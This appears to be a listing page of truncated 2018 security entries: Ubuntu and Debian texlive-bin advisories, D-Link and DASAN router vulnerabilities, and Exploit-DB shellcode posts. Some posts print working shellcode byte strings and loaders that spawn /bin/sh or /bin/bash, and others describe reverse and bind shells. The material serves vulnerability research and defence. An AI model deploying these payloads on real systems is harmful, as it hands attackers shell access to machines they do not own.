Ubuntu: Security Advisory (USN-3788-2)

The remote host is missing an update for the SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Ubuntu: Security Advisory (USN-3788-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

/ Linux/x86 - execve/bin/cat /etc/ssh/sshdconfig Shellcode 44 Bytes Author: Goutham Madhwaraj Tested on: i686 GNU/Linux Shellcode Length: 44 ShoutOut - BarrierSec gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50...

CVE-2018-18636

The CVE-2018-18636 entry concerns the D-Link DSL-2640T router. A cross-site scripting (XSS) vulnerability exists in the cgi-bin/webcm page reachable on the device, exploitable via the var:RelaodHref or var:conid parameters. Affected product: D-Link DSL-2640T routers (CGI web management interface)...

Ubuntu 18.10 : Tex Live-bin vulnerability (USN-3788-2)

USN-3788-1 fixed vulnerabilities in Tex Live. This update provides the corresponding update for Ubuntu 18.10 It was discovered that Tex Live incorrectly handled certain files. An attacker could possibly use this issue to execute arbitrary code. CVE-2018-17407. Note that Tenable Network Security h...

Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)

/ Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes Author: cq674350529 - execve'/bin/sh', tcp - 192.168.2.157/31337 - used in HTTP Request - tested on D-Link dir-850l router, avoid bad chars '\x00', '\x20', '\x23', '\x0d\x0a' - based on rigan's shellcode...

Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)

Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes. Shellcode exploit for Linuxx86 platform Title: Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes Author: Kartik Durg Date: 201-10-04 Shellcode Length: 104 BYTES Student-ID: SLAE-1233 Write-u...

bin-sploitskkk

This is an official repository of The Exploit Database, a project sponsored by Offensive Security. The repository contains binary exploits located in the /bin-sploits/ directory. The Exploit Database is an archive of public exploits and corresponding vulnerable software, developed for use by...

Linux/x86 - execve(/bin/sh) + NOT +SHIFT-N+ XOR-N Encoded Shellcode (50 bytes)

/ Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes sh.asm global start section .text start: xor eax, eax ; reseting the register push eax ; pushing null terminator pus...

Linux/x86 - execve(/bin/sh) + NOT/SHIFT-N/XOR-N Encoded Shellcode (50 byes)

Linux/x86 - execve/bin/sh + NOT/SHIFT-N/XOR-N Encoded Shellcode 50 byes. Shellcode exploit for Linuxx86 platform / Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes...

Linux/x64 - Execute /bin/nc -lvp 9090 Shellcode (60 bytes)

Linux/x64 - Execute /bin/nc -lvp 9090 Shellcode 60 bytes Usage: gcc sc.c -o sc -z execstack include include int mainvoid char sc =...

Design/Logic Flaw

The Port Forwarding functionality on DASAN H660GW devices allows remote attackers to execute arbitrary code via shell metacharacters in the cgi-bin/advnatvirsvr.asp Addr parameter aka the Local IP Address field...

Linux/x64 - execve ("/bin/sh") Shellcode (24 bytes)

Linux/x64 - Execve //bin/sh Shellcode 24 bytes Usage: gcc sc.c -o sc -z execstack include include int mainvoid char shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/x64 - execve ("/bin/bash") Shellcode (27 bytes)

Author: Artr0n Linux/x64 - Execve/bin/bash Shellcode Shellcode Lenght: 27 include include int mainvoid char shellcode = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

D-Link DIR-823G has an override access vulnerability

The D-Link DIR-823G is a wireless router. The D-Link DIR-823G suffers from an override access vulnerability. The vulnerability does not have permission control over paths in the cgi-bin directory, which can be exploited by an attacker to obtain information about the device, tamper with...

Linux/ARM - Bind (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 Bytes)

/ Title: Linux/ARM - Bind 0.0.0.0:4444/TCP Shell /bin/sh + Null-Free Shellcode 92 Bytes Date: 2018-09-26 Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux...

Debian DSA-4299-1 : texlive-bin - security update

Nick Roessler from the University of Pennsylvania has found a buffer overflow in texlive-bin, the executables for TexLive, the popular distribution of TeX document production system. This buffer overflow can be used for arbitrary code execution by crafting a special type1 font .pfb and provide it...

Linux/ARM - Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)

/ Title: Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 28 Bytes Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux pi@raspberrypi: $...

Debian DLA-1514-1 : texlive-bin security update

Nick Roessler from the University of Pennsylvania has found a buffer overflow in texlive-bin, the executables for TexLive, the popular distribution of TeX document production system. This buffer overflow can be used for arbitrary code execution by crafting a special type1 font .pfb and provide it...

Debian: Security Advisory (DLA-1514-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...